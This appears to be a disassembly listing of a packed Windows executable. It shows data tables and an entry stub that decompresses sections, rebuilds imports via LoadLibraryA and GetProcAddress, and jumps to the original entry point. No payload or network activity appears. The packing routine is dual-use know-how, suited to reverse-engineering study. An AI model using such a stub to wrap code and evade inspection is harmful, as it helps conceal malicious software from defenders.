0 ; DATA XREF: sub_427FEF+54w dword_4E2B04 dd 0 ; DATA XREF: sub_427FEF+3Cw dword_4E2B08 dd 0 ; DATA XREF: sub_427FEF+5Cw align 10h dword_4E2B10 dd 0 ; DATA XREF: sub_4284E7:loc_42856Er ; sub_4284E7+13Fr ... align 8 dword_4E2B18 dd 0 ; DATA XREF: sub_4284E7:loc_428581r ; sub_4284E7+1C4r ... dd 0Fh dup(0) dword_4E2B58 dd 0 ; DATA XREF: sub_4284E7+12Co ; sub_4284E7+191o ... dword_4E2B5C dd 0 ; DATA XREF: sub_428710+9r ; sub_428710+38w ... dword_4E2B60 dd 0 ; DATA XREF: sub_428710+4Dw ; sub_428710:loc_4287D5r dword_4E2B64 dd 0 ; DATA XREF: sub_428710+5Bw ; sub_428710+D6r dword_4E2B68 dd 0 ; DATA XREF: sub_428710+7Bw ; sub_428710:loc_428790r dword_4E2B6C dd 0 ; DATA XREF: sub_428710+6Cw ; sub_428710+9Cr dword_4E2B70 dd 0 ; DATA XREF: sub_426A43+3Dr dword_4E2B74 dd 0 ; DATA XREF: sub_4292AF:loc_429315r ; sub_4292AF+6Co dword_4E2B78 dd 0 ; DATA XREF: sub_4292AF:loc_4292EDr ; sub_4292AF+44o dword_4E2B7C dd 0 ; DATA XREF: sub_4292AF:loc_4292E0r ; sub_4292AF+37o dword_4E2B80 dd 0 ; DATA XREF: sub_4292AF:loc_4292FAr ; sub_4292AF+51o align 8 dword_4E2B88 dd 0 ; DATA XREF: sub_429B7E+11r ; sub_429B7E+31w ... dword_4E2B8C dd 0 ; DATA XREF: sub_429E31+11r ; sub_429E31+2Ew ... dword_4E2B90 dd 1 ; DATA XREF: sub_41FCC0r sub_4203C0r ... dword_4E2B94 dd 1 ; DATA XREF: seg000:0042469Fw ; seg000:004246CAw dword_4E2B98 dd 20h ; DATA XREF: sub_420EE9+8r ; sub_421D41+Br ... align 10h dword_4E2BA0 dd 970650h ; DATA XREF: sub_421C63+74r ; sub_422124+ACr ... dword_4E2BA4 dd 3Fh dup(0) ; DATA XREF: sub_42418E+91o dword_4E2CA0 dd 0 ; DATA XREF: sub_422AC2+37r ; sub_422D61+1Aw ... dword_4E2CA4 dd 0 ; DATA XREF: sub_422AC2+21r ; sub_422D61+15w ... dd 6 dup(0) byte_4E2CC0 db 0 ; DATA XREF: sub_422D61+6o ; sub_422F16+A7o ... byte_4E2CC1 db 0 ; DATA XREF: sub_41ED01+5Er ; sub_422D8A+104w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4E2DC4 dd 4E4h ; DATA XREF: sub_422AC2+40r ; sub_422D61+10w ... align 10h dword_4E2DD0 dd 4 dup(0) ; DATA XREF: sub_422D61+1Fo ; sub_422F16+162o ... byte_4E2DE0 db 0 ; DATA XREF: sub_422D8A:loc_422E9Cw ; sub_422D8A:loc_422EB9w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_4E2EE0 dd 0 ; DATA XREF: sub_421140+21w ; sub_4211B3+21Cr ... dword_4E2EE4 dd 0 ; DATA XREF: sub_421140+28w ; sub_421188r ... dword_4E2EE8 dd 0 ; DATA XREF: sub_421140+15w ; sub_421188+8r ... dword_4E2EEC dd 0 ; DATA XREF: sub_41E3C2+58r ; sub_41E561+Er ... dword_4E2EF0 dd 0 ; DATA XREF: sub_421140+2Fw ; sub_4211B3+300w ... dword_4E2EF4 dd 0 ; DATA XREF: sub_421140+3Cw ; sub_4214CB+5r ... dword_4E2EF8 dd 0 ; DATA XREF: sub_4211B3+229r ; sub_4211B3+249r ... dword_4E2EFC dd 970000h ; DATA XREF: sub_41E2A1+2Ar ; sub_41E3C2+B6r ... dword_4E2F00 dd 1 ; DATA XREF: sub_41E2A1+9r ; sub_41E3C2:loc_41E3F1r ... dword_4E2F04 dd 142340h ; DATA XREF: start-C31E1w ; sub_42638A:loc_42639Br ... dword_4E2F08 dd 971080h ; DATA XREF: sub_4220B2+13r ; sub_4220B2+3Fr ... dd 5 dup(0) dword_4E2F20 dd 400h dup(0) ; DATA XREF: seg002:00443500o ; seg002:00443508o dword_4E3F20 dd 200h ; DATA XREF: sub_4220B2+3r dword_4E3F24 dd 1 ; DATA XREF: sub_4263E7+9Fw dword_4E3F28 dd 97075Ch ; DATA XREF: sub_41F1B0+3Er ; sub_41F1B0:loc_41F202r ... dword_4E3F2C dd 970758h ; DATA XREF: sub_41F1B0+34r ; sub_41F1B0+5Ar ... dword_4E3F30 dd 1 ; DATA XREF: sub_4230FCr ; sub_4230FC+11w ... align 100h seg002 ends ; Section 4. (virtual address 000E4000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000E4000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write seg003 segment para public 'DATA' use32 assume cs:seg003 ;org 4E4000h ; =============== S U B R O U T I N E ======================================= public start start proc near var_A0 = dword ptr -0A0h var_48 = dword ptr -48h var_40 = dword ptr -40h var_34 = dword ptr -34h ; FUNCTION CHUNK AT 00420D0D SIZE 000001A2 BYTES ; FUNCTION CHUNK AT 00420EDA SIZE 0000000F BYTES pusha call $+5 pop ebx lea ebx, [ebx-6] mov ebp, 400000h mov edi, [ebp+3Ch] lea esi, [ebp+edi+0] lea edi, [esi+0F8h] movzx esi, word ptr [esi+6] dec esi loc_4E4021: ; CODE XREF: start+81j mov eax, [edi+10h] or eax, eax jz short loc_4E407D movzx eax, word ptr [edi+22h] or eax, eax jz short loc_4E407D push 4 push 1000h push dword ptr [edi+10h] push 0 call dword ptr [ebx+338h] push eax push esi push edi mov esi, ebp add esi, [edi+0Ch] mov ecx, [edi+10h] mov edi, eax mov eax, ecx shr ecx, 2 cld rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov eax, [esp+0] mov edx, ebp add edx, [edi+0Ch] call sub_4E41AC pop eax push 4000h push dword ptr [edi+10h] push eax call dword ptr [ebx+33Ch] loc_4E407D: ; CODE XREF: start+26j start+2Ej add edi, 28h dec esi jnz short loc_4E4021 mov esi, 3A800h or esi, esi jz loc_4E419C add esi, ebp loc_4E4092: ; CODE XREF: start+10Cj mov ecx, [esi+0Ch] or ecx, ecx jz loc_4E419C add ecx, ebp mov edi, ecx push edi call dword ptr [ebx+330h] or eax, eax jnz short loc_4E40E9 push 4 push 1000h push 1000h push 0 call dword ptr [ebx+338h] mov esi, eax lea eax, [ebx+26Fh] push edi push eax push esi call dword ptr [ebx+344h] push 10h push 0 push esi push 0 call dword ptr [ebx+348h] mov ebp, esp mov eax, 7Eh jmp dword ptr [esp+2Ch] ; --------------------------------------------------------------------------- loc_4E40E9: ; CODE XREF: start+AAj mov edi, eax mov ecx, [esi] or ecx, ecx jnz short loc_4E40F4 mov ecx, [esi+10h] loc_4E40F4: ; CODE XREF: start+EFj or ecx, ecx jz loc_4E41A3 add ecx, ebp mov edx, [esi+10h] add edx, ebp loc_4E4103: ; CODE XREF: start+18Fj mov eax, [ecx] or eax, eax jnz short loc_4E410E add esi, 14h jmp short loc_4E4092 ; --------------------------------------------------------------------------- loc_4E410E: ; CODE XREF: start+107j test eax, 80000000h jz short loc_4E411C and eax, 0FFFFh jmp short loc_4E4121 ; --------------------------------------------------------------------------- loc_4E411C: ; CODE XREF: start+113j add eax, ebp add eax, 2 loc_4E4121: ; CODE XREF: start+11Aj push eax push ecx push edx push eax push edi call dword ptr [ebx+334h] pop edx pop ecx or eax, eax jnz short loc_4E4184 add ebp, [esi+0Ch] push 4 push 1000h push 1000h push 0 call dword ptr [ebx+338h] mov esi, eax pop edi loc_4E414C: ; DATA XREF: seg001:off_4392B0o test edi, 0FFFF0000h jz short loc_4E415C lea eax, [ebx+296h] jmp short loc_4E4162 ; --------------------------------------------------------------------------- loc_4E415C: ; CODE XREF: start+152j lea eax, [ebx+2C6h] loc_4E4162: ; CODE XREF: start+15Aj push ebp push edi push eax push esi call dword ptr [ebx+344h] push 10h push 0 push esi push 0 call dword ptr [ebx+348h] mov ebp, esp mov eax, 7Fh jmp dword ptr [esp+30h] ; --------------------------------------------------------------------------- loc_4E4184: ; CODE XREF: start+130j add esp, 4 mov [edx], eax add ecx, 4 add edx, 4 jmp loc_4E4103 ; --------------------------------------------------------------------------- dd 0E914C683h, 0FFFFFEF6h ; --------------------------------------------------------------------------- loc_4E419C: ; CODE XREF: start+8Aj start+97j popa push offset loc_420D0D retn ; --------------------------------------------------------------------------- loc_4E41A3: ; CODE XREF: start+F6j mov ebp, esp or eax, 0FFFFFFFFh jmp [esp+0C0h+var_A0] start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4E41AC proc near ; CODE XREF: start+68p ; FUNCTION CHUNK AT 004E424A SIZE 00000005 BYTES push ebp push ebx push esi push edi mov esi, eax mov edi, edx cld mov dl, 80h xor ebx, ebx loc_4E41B9: ; CODE XREF: sub_4E41AC+15j movsb mov bl, 2 loc_4E41BC: ; CODE XREF: sub_4E41AC+3Aj ; sub_4E41AC+80j call sub_4E422E jnb short loc_4E41B9 xor ecx, ecx call sub_4E422E jnb short loc_4E41E8 xor eax, eax call sub_4E422E jnb short loc_4E41F8 mov bl, 2 inc ecx mov al, 10h loc_4E41DA: ; CODE XREF: sub_4E41AC+35j call sub_4E422E adc al, al jnb short loc_4E41DA jnz short loc_4E4224 stosb jmp short loc_4E41BC ; --------------------------------------------------------------------------- loc_4E41E8: ; CODE XREF: sub_4E41AC+1Ej call sub_4E423A sub ecx, ebx jnz short loc_4E4201 call sub_4E4238 jmp short loc_4E4220 ; --------------------------------------------------------------------------- loc_4E41F8: ; CODE XREF: sub_4E41AC+27j lodsb shr eax, 1 jz short loc_4E424A adc ecx, ecx jmp short loc_4E421D ; --------------------------------------------------------------------------- loc_4E4201: ; CODE XREF: sub_4E41AC+43j xchg eax, ecx dec eax shl eax, 8 lodsb call sub_4E4238 cmp eax, 7D00h jnb short loc_4E421D cmp ah, 5 jnb short loc_4E421E cmp eax, 7Fh ja short loc_4E421F loc_4E421D: ; CODE XREF: sub_4E41AC+53j ; sub_4E41AC+65j inc ecx loc_4E421E: ; CODE XREF: sub_4E41AC+6Aj inc ecx loc_4E421F: ; CODE XREF: sub_4E41AC+6Fj xchg eax, ebp loc_4E4220: ; CODE XREF: sub_4E41AC+4Aj mov eax, ebp mov bl, 1 loc_4E4224: ; CODE XREF: sub_4E41AC+37j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_4E41BC sub_4E41AC endp ; =============== S U B R O U T I N E ======================================= sub_4E422E proc near ; CODE XREF: sub_4E41AC:loc_4E41BCp ; sub_4E41AC+19p ... add dl, dl jnz short locret_4E4237 mov dl, [esi] inc esi adc dl, dl locret_4E4237: ; CODE XREF: sub_4E422E+2j retn sub_4E422E endp ; =============== S U B R O U T I N E ======================================= sub_4E4238 proc near ; CODE XREF: sub_4E41AC+45p ; sub_4E41AC+5Bp xor ecx, ecx sub_4E4238 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4E423A proc near ; CODE XREF: sub_4E41AC:loc_4E41E8p inc ecx loc_4E423B: ; CODE XREF: sub_4E423A+Dj call sub_4E422E adc ecx, ecx call sub_4E422E jb short loc_4E423B retn sub_4E423A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4E41AC loc_4E424A: ; CODE XREF: sub_4E41AC+4Fj pop edi pop esi pop ebx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4E41AC ; --------------------------------------------------------------------------- align 10h dd 7 dup(0) dd 43000000h, 646C756Fh, 746F6E20h, 616F6C20h, 79642064h dd 696D616Eh, 696C2063h, 6C206B6Eh, 61726269h, 25207972h dd 68540073h, 72702065h, 6465636Fh, 20657275h, 63207325h dd 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch, 20646574h dd 74206E69h, 25206568h, 68540073h, 726F2065h, 616E6964h dd 7525206Ch, 756F6320h, 6E20646Ch, 6220746Fh, 6F6C2065h dd 65746163h, 6E692064h, 65687420h, 732520h, 3 dup(0) dd 0E4350h, 0E4330h, 3 dup(0) dd 0E439Dh, 0E4344h, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E7980Ah, 77E79E34h, 0 aJWNW db 'jÉÔw×Öw',0 align 10h aKernel32_dll_1 db 'KERNEL32.DLL',0 db 2 dup(0), 4Ch aOadlibrarya db 'oadLibraryA',0 dd 47000000h, 72507465h, 6441636Fh, 73657264h, 73h, 72695600h dd 6C617574h, 6F6C6C41h, 63h, 72695600h, 6C617574h, 65657246h dd 45535500h, 2E323352h, 4C4C44h, 73770000h, 6E697270h dd 416674h, 654D0000h, 67617373h, 786F4265h, 41h, 30Fh dup(0) seg003 ends ; Section 5. (virtual address 000E5000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000E5000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4E5000h align 2000h _idata2 ends end start